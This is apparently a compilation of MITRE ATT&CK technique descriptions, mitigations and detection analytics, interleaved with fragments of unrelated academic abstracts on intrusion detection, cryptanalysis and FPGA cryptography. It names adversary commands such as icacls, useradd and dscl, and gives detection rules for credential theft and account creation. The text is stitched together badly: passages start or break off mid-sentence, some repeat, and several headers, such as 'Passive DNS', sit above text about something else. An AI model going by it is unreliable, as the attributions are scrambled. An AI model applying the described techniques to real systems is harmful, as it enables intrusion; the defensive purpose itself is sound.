With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website.\n\nThe adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack.\n\nThe National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Windows, Linux\n\n**Mitigations.** - **Update Software**: Perform regular software updates to mitigate exploitation risk.

Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility.\n\nAn adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Update Software**: Perform regular software updates to mitigate exploitation risk. Software updates may need to be scheduled around operational down times.\n- **Vulnerability Scanning**: Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.\n- **Exploit Protection**: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.\n- **Privileged Account Management**: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.\n- **Application Isolation and Sandboxing**: Restrict the execution of code to a virtual environment on or in-transit to an endpoint system.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems. […]\n\n## Reference: ATT&CK T0820 Exploitation for Evasion\n**ATT&CK T0820 Exploitation for Evasion (full record).** Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features.\n\nAdversaries may have prior knowledge through Remote System Information Discovery about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware.\n\n**Classification.** - Tactics: evasion\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Threat Intelligence Program**: A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.\n- **Exploit Protection**: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.\n- **Application Isolation and Sandboxing**: Restrict the execution of code to a virtual environment on or in-transit to an endpoint system.\n- **Update Software**: Perform regular software updates to mitigate exploitation risk.

[…]\n\n## Reference: ATT&CK T0821 Modify Controller Tasking\n**ATT&CK T0821 Modify Controller Tasking (full record).** Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller.\n\nAccording to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append.\n\nTasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the task, Organization Block 1 (OB1).\n\n**Classification.** - Tactics: execution\n- Platforms: Embedded\n\n**Mitigations.** - **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.\n\nDefault accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.\n\nDefault accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via Exploitation for Credential Access on the vCenter host), they will then have access to the ESXi server.\n\n## Reference: ATT&CK DC0096 Passive DNS\n**ATT&CK DC0096 Passive DNS (full record).** \"Domain Name: Passive DNS\" captures logged historical and real-time domain name system (DNS) data.

This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **Password Policies**: Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection of Local Account Abuse for Initial Access and Persistence**\n - Detects anomalous usage of local accounts to log into a system, especially accounts not typically used interactively or outside business hours.

File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs). Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs.

File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: `chown` (short for change owner), and `chmod` (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it.

Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes.\n\nTools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the `systemsetup` configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. `show version`). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.\n\nSystem Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\n\n## Reference: ATT&CK DET0730 Detection of Supply Chain Compromise\n**Detects.** -

Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.

Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Behavior-chain detection for T1134 Access Token Manipulation on Windows**\n - Detection of suspicious token manipulation chains: use of token-related APIs (e.g., LogonUser, DuplicateTokenEx) or commands (runas) → spawning of a new process under a different security context (e.g., SYSTEM) → mismatched parent-child process lineage or anomalies in Event Tracing for Windows (ETW) token/PPID data → abnormal lateral or privilege escalation activity.

Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nAny standard user can use the `runas` command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\n\n## Reference: ATT&CK DET0733 Detection of Replication Through Removable Media\n**Detects.** - T0847 Replication Through Removable Media\n\n**Analytics.** - Analytic 1866: Real-time monitoring identifies a Universal Serial Bus (USB) storage device insertion event on an Industrial Control System (ICS) engineering or Human-Machine Interface (HMI) workstation where the device's hardware identifier (ID) is not in the authorized USB allowlist, immediately followed by proce.\n- Analytic 2127: Real-time monitoring identifies a mount event for removable storage media on an Industrial Control System (ICS) Linux asset, followed by execution of a binary from the mounted path within a short window.\n- Analytic 2190: Real-time monitoring identifies a new device connecting to an Industrial Control System (ICS) network switch port that was previously unused or previously assigned to a different device Media Access Control (MAC) address immediately following physical access to the environment, with subsequent Indus.\n- Analytic 2228: Real-time monitoring identifies an Industrial Control System (ICS) protocol file-transfer service such as Distributed Network Protocol 3 (DNP3) File Transfer Object or Internet Electrotechnical Commision (IEC) 61850 file service being used to place files on a field device from a source not in the ap.\n\n## Reference: ATT&CK DET0734 Detection of Automated Collection\n**Detects.** - T0802 Automated Collection\n\n**Analytics.** - Analytic 1867: Real-time network monitoring identifies a source issuing systematic, sequential Industrial Control System (ICS) protocol reads sweeping the full register/address range across multiple field devices within a short time window, from a source not in the approved control server list.\n- Analytic 2128: Real-time monitoring identifies a scripting interpreter process iterating through Industrial Control System (ICS) data sources and writing output to a local file or piping to a network socket, by a User Identifier (UID) not associated with documented automation scripts.\n- Analytic 2270: Real-time monitoring identifies a host process making sequential Industrial Control System (ICS) protocol reads with output piped to a local staging file, from a process not associated with a recognized Human-Machine Interface (HMI) or historian tool.\n\n## Reference: ATT&CK DET0735 Detection of Scripting\n**Analytics.** - Analytic 1868: Monitor command-line arguments for script execution and subsequent behavior.

In addition to maintaining low latency and poor performance for the client, filtering unauthorized accesses has become one of the major concerns of a server administrator.\n\nHence implementation of an Intrusion Detection System (IDS) [2] distinguishes between the traffic coming from clients and the traffic originated from the attackers or intruders, in an attempt to simultaneously mitigate the problems of throughput, latency and security of the network. We then present the results of a series of load and response time in the terms of performance and scalability tests, and suggest a number of potential uses for such a system.\n\nThe exponential growth of computer/network attacks are becoming more and more difficult to identify and the need for better and more efficient intrusion detection systems increases in step. The main problem with current intrusion detection systems is high rate of false alarms. Use of honeypots [1] provides effective solution to increase the security and reliability of the network.\n\n**Keywords.** - Intrusion Detection Ssystem; Advanced Honeypots;Computer Attcks; Network Security;Information Security I.\n\n**INTRODUCTION.** We present the design and implementation of a load balancer that distinguishes between the traffic coming from clients and the traffic originated from the attackers.

Institute of Management Technology Ghaziabad - India\n\nAbstract— The cryptanalysis of simplified data encryption standard can be formulated as NP-Hard combinatorial problem. The goal of this paper is two fold. First we want to make a study about how evolutionary computation techniques can efficiently solve the NP-Hard combinatorial problem. For achieving this goal we test several evolutionary computation techniques like memetic algorithm, genetic algorithm and simulated annealing for the cryptanalysis of simplified data encryption standard problem (SDES). And second was a comparison between memetic algorithm, genetic algorithm and simulated annealing were made in order to investigate the performance for the cryptanalysis on SDES. The methods were tested and extensive computational results show that memetic algorithm performs better than genetic algorithms and simulated annealing for such type of NP-Hard combinatorial problem. This paper represents our first effort toward efficient memetic algorithm for the cryptanalysis of SDES Keywords: Simplified data encryption standard, Memetic algorithm, Genetic algorithm, Simulated annealing, Key search space I.\n\n**INTRODUCTION.** This paper proposes the cryptanalysis of simplified encryption standard algorithm using memetic and genetic algorithm. The cryptanalysis of simplified data encryption standard can be formulated as NP-Hard combinatorial problem. Solving such problems requires effort (e.g., time and/or memory requirement) which increases with the size of the problem. Techniques for solving combinatorial problems fall into two broad groups – traditional optimization techniques (exact algorithms) and non traditional optimization techniques (approximate algorithms). A traditional optimization technique guarantees that the optimal solution to the problem will be found. The traditional optimization techniques like branch and bound, simplex method, brute force search algorithm etc methodology is very inefficient for solving combinatorial problem because of their prohibitive complexity (time and memory requirement). Non traditional optimization techniques are employed in an attempt to find an adequate solution to the problem. A non traditional optimization technique - memetic algorithm, genetic algorithm, simulated annealing and tabu search were developed to provide a robust and efficient methodology for cryptanalysis.

Also, with the spread of reconfigurable hardware such as FPGAs (Field Programmable Gate Array) embedded cryptographic hardware became cost-effective. Nevertheless, it is worthy to note that nowadays, even hardwired cryptographic algorithms are not so safe. From another side, the self-reconfiguring platform is reported that enables an FPGA to dynamically reconfigure itself under the control of an embedded microprocessor. Hardware acceleration significantly increases the performance of embedded systems built on programmable logic. Allowing a FPGA-based MicroBlaze processor to self-select the coprocessors uses can help reduce area requirements and increase a system's versatility. The architecture proposed in this paper is an optimal hardware\n\n**implementation.** algorithm and takes dynamic partially reconfigurable of FPGA. This implementation is good solution to preserve confidentiality and accessibility to the information in the numeric communication. Key words: Cryptography; Embedded systems; Reconfigurable computing; Self-reconfiguration\n\n**1. Introduction.** Today, ultra deep submicronic technologies offer high scale density of integration for communication systems. This growth in integration has been accompanied with dramatically increase of complexity and transaction speed of this systems. As a consequence, security becomes a challenge and a critical issue especially for real time applications where materiel and software resources are very precious and necessary to provide a minimum of service quality.\n\nIndeed, today speed and computing power impose the recourse to sophisticated and more complicated cryptography algorithms for high level security. Full software implementation is very heavy and slows down considerably speed of the information exchange. From another side, full hardware implementation is very expensive in terms of area, power and can also deteriorate speed of information transitions.

A., Marliza R. Faculty of Information Technology and Communication Univeristi Teknikal Malaysia Melaka, Durian Tunggal, Melaka, Malaysia\n\nAbstract-Malware is a type of malicious program that replicate from host machine and propagate through network. It has been considered as one type of computer attack and intrusion that can do a variety of malicious activity on a computer. This paper addresses the current trend of malware detection techniques and identifies the significant criteria in each technique to improve malware detection in Intrusion Detection System (IDS). Several existing techniques are analyzing from 48 various researches and the capability criteria of malware detection technique have been reviewed. From the analysis, a new generic taxonomy of malware detection technique have been proposed named Hybrid-Malware Detection Technique (Hybrid-MDT) which consists of Hybrid- Signature and Anomaly detection technique and Hybrid- Specification based and Anomaly detection technique to complement the weaknesses of the existing malware detection technique in detecting known and unknown attack as well as reducing false alert before and during the intrusion occur.\n\nSystem.\n\nI\n\n**INTRODUCTION.** Malware is considered as worldwide epidemic due to the malware author’s activity to have a finance gain through theft of personal information such as gaining access to financial accounts. This statement has been proved by the increasing number of computer security incidents related to vulnerabilities from 171 in 1995 to 7,236 in 2007 as reported by Computer Emergency Response Team [1]. One of the issues related to this vulnerability report is malware attack which has generated significant worldwide epidemic to network security environment and bad impact involving financial loss.\n\nHence, the wide deployment of IDSs to capture this kind of activity can process large amount of traffic which can generate a huge amount of data. This huge amount of data can exhaust the network administrator’s time and implicate cost to find the intruder if new attack outbreak happen especially involving malware attack. […]\n\n## Reference: Modern Symmetric Cryptography methodologies and its applications\n**INTRODUCTION.** It is widely recognized that security issues play a crucial role in the majority of computer and communication systems. A central tool for achieving software protection is Cryptography. Cryptographic algorithms are most efficiently implemented in custom hardware than in software running on general purpose processors. Hardware implementations are of extreme importance in case of high performance, security against system intruders and busy systems, where a cryptographic task consumes too much time. Traditional ASIC solutions have the well-known drawback of reduced flexibility compared to software solutions. Since modern security protocols are increasingly becoming algorithm independent, a high degree of flexibility with respect to the cryptographic algorithms is desirable. The security degrees of all the techniques are based on the hardness of mathematical problems. Among them, Elliptic curve cryptography shows a promise to be an alternative of RSA. A promising solution which combines high flexibility with the speed and physical security of traditional hardware is the implementation of cryptographic algorithms on reconfigurable devices such as FPGAs. FPGAs are hardware devices whose function is not fixed and which can be programmed in-system [1]. It is essential for providing some requirements in Hardware and Software systems security. By using Symmetric Cryptography and its aspects, we can design some complex security systems with encryption algorithms. When we use a complex system like RFID tags, its security must be covered all of its elements. II. SYMMETRIC CRYPTOGRAPHY Symmetric key systems require both the sender and the recipient to have the same key. This key is used by the sender to encrypt the data, and again by the recipient to decrypt the data. Key exchange is clearly a problem. How do you securely send a key that will enable you to send other data securely? If a private key is intercepted or stolen, the adversary can act as either party and view all data and communications. You can think of the symmetric crypto system as akin to the Chubb type of door locks. You must be in possession of a key to both open and lock the door. Symmetric cryptography uses a single private key to both encrypt and decrypt data. Any party that has the key can use it to encrypt and decrypt data. They are also referred to as block ciphers.

By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise.\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for T1136 - Create Account across platforms**\n - Adversary uses built-in OS tools or API calls to create local or domain accounts for persistence or lateral movement. Tools such as 'net user', PowerShell, or MMC snap-ins may be used. Detection focuses on Event ID 4720 paired with process lineage and user context. (telemetry: WinEventLog:Security:EventCode=4720, WinEventLog:Sysmon:EventCode=1)\n - Adversary invokes 'useradd', 'adduser', or equivalent system commands or scripts to create local users. Detection focuses on command execution and audit trail of passwd/shadow file modifications. (telemetry: auditd:SYSCALL:useradd or adduser executed, auditd:SYSCALL:chmod/chown to /etc/passwd or /etc/shadow)\n - Adversary creates new users using 'dscl' commands, GUI tools, or by modifying user plist files. Detection includes monitoring dscl invocation and user-related plist changes. (telemetry: macos:unifiedlog:dscl . -create, macos:unifiedlog:modification to /var/db/dslocal/nodes/Default/users/)\n - Adversary creates users via IAM/IdP API or portal (e.g., Azure AD, Okta). Detection involves monitoring API calls, admin action logs, and correlation with role assignments.

With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.\n\n## Reference: ATT&CK DET0633 Detection of Credentials from Password Store\n**Detects.** - T1634 Credentials from Password Store\n\n**Analytics.** - Analytic 1705: For iOS, detect Credentials from Password Store by correlating analyst-visible device/network evidence and management state;

(telemetry: WinEventLog:Security:EventCode=4720, WinEventLog:Sysmon:EventCode=1)\n - Adversary invokes 'useradd', 'adduser', or equivalent system commands or scripts to create local users. Detection focuses on command execution and audit trail of passwd/shadow file modifications. (telemetry: auditd:SYSCALL:useradd or adduser executed, auditd:SYSCALL:chmod/chown to /etc/passwd or /etc/shadow)\n - Adversary creates new users using 'dscl' commands, GUI tools, or by modifying user plist files. Detection includes monitoring dscl invocation and user-related plist changes. (telemetry: macos:unifiedlog:dscl . -create, macos:unifiedlog:modification to /var/db/dslocal/nodes/Default/users/)\n - Adversary creates users via IAM/IdP API or portal (e.g., Azure AD, Okta).

Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.\n\n## Mitigations\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detect Persistence via Malicious Office Add-ins**\n - An adversary writes or drops a malicious Office Add-in (e.g., WLL, XLL, COM) to a trusted directory or modifies registry keys to load malicious add-ins on Office application launch. Upon user opening Word or Excel, the add-in is automatically loaded, triggering execution of the payload, often spawning scripting engines or anomalous child processes.

Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. […]\n\n## Reference: ATT&CK T1667 Email Bombing\n**ATT&CK T1667 Email Bombing (full record).** Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.\n\nAn adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim’s inbox.\n\nBy sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams. This behavior can also be used as a tool of harassment.\n\nThis behavior may be a precursor for Spearphishing Voice. For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of Remote Access Software to steal credentials, deploy ransomware, conduct Financial Theft, or engage in other malicious activity.\n\n**Classification.** - Tactics: impact\n- Platforms: Linux, Office Suite, Windows, macOS\n\n**Mitigations.** - **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Email Bombing**\n - Detect abnormally high volume of inbound email messages or repetitive attachments being delivered to a single mailbox within a short time window. Defenders should look for anomalous spikes in message counts and repetitive attachment file creation events correlated with targeted users. […]\n\n## Reference: ATT&CK T1668 Exclusive Control\n**ATT&CK T1668 Exclusive Control (full record).** Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system.\n\nFor example, adversaries may patch a vulnerable, compromised system to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services, stripping privileges from accounts, or removing other malware already on the compromised device.\n\nHindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of Resource Hijacking, leveraging a compromised device’s full power allows the threat actor to maximize profit.\n\n**Classification.** - Tactics: persistence\n- Platforms: Linux, macOS, Windows\n\n**Detection strategies and analytics.** - **Detection Strategy for Exclusive Control**\n - Detects unusual command executions and service modifications that indicate self-patching or disabling of vulnerable services post-compromise. Defenders should monitor for service stop commands, suspicious process termination, and execution of binaries or scripts aligned with known patching or service management tools outside of expected admin contexts. (telemetry: WinEventLog:Security:EventCode=4688, WinEventLog:Sysmon:EventCode=5)\n - Detects adversary attempts to monopolize control of compromised systems by issuing service stop commands, unloading vulnerable modules, or forcefully killing competing processes. Defenders should monitor audit logs and syslog for administrative utilities (systemctl, service, kill) being invoked outside of normal change management. […]\n\n## Reference: ATT&CK T1669 Wi-Fi Networks\n**ATT&CK T1669 Wi-Fi Networks (full record).** Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring Valid Accounts — belonging to a target organization. Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection.\n\nAdversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target’s Wi-Fi network.\n\nOnce an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network. Adversaries may perform Network Sniffing or Adversary-in-the-Middle activities for Credential Access or Discovery.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, Network Devices, Windows, macOS\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications. By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise.\n- **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering. […]\n\n## Reference: ATT&CK T1670 Virtualization Solution\n**ATT&CK T1670 Virtualization Solution (full record).** Adversaries may carry out malicious operations using virtualization solutions to escape from Android sandboxes and to avoid detection. Android uses sandboxes to separate resources and code execution between applications and the operating system.

This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection of Malicious or Unauthorized Software Extensions**\n - Installation or execution of a malicious browser or IDE extension, followed by abnormal registry entries or outbound network connections from the host application (telemetry: WinEventLog:Security:EventCode=4688, WinEventLog:Sysmon:EventCode=11, WinEventLog:Sysmon:EventCode=13, 14)\n - Installation of configuration profiles or plist entries associated with malicious or unauthorized browser extensions (telemetry: macos:unifiedlog:Execution of 'profiles install -type=configuration', macos:unifiedlog:Creation of .plist under /Library/Managed Preferences/, macos:unifiedlog:Suspicious outbound traffic from browser binary to non-standard domains)\n - Manual or script-based installation of extension-like modules into browser config directories or IDE plugin paths, followed by suspicious network activity (telemetry: auditd:SYSCALL:execve, fs:fileevents:creat, NSM:Flow:Abnormal browser traffic volume or destination)\n\n## Reference: ATT&CK T1584.002 DNS Server\n**ATT&CK T1584.002 DNS Server (full record).** Adversaries may compromise third-party DNS servers that can be used during targeting.

